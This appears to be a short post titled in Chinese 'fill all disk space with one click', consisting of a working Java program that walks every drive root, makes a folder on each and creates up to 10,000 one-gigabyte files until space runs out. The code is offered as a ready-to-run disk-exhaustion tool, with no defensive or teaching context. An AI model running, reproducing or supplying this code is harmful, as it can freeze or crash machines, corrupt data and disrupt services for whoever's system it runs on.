一键填满所有磁盘空间

import java.io.File;
import java.io.IOException;
import java.io.RandomAccessFile;

public class Test {
    public static void main(String[] args) throws IOException {
        File[] file1 = File.listRoots();
        for (int k = 0; k < file1.length; k++) {
            String path = file1[k].getAbsolutePath();
            path = path.substring(0, path.length() - 1);
            File file = new File(path + "/文件我最大/");
            if (!file.isDirectory()) {
                file.mkdir();
            }
            for (int i = 0; i < 10000; i++) {
                File file3 = new File(path + "/文件我最大/" + i);
                if (!file3.exists()) {
                    file3.createNewFile();
                    RandomAccessFile rac = new RandomAccessFile(file3, "rw");
                    try {
                        rac.setLength(1073741824);
                    } catch (Exception e) {
                        break;
                    }
                    rac.close();
                }
            }
        }
    }
}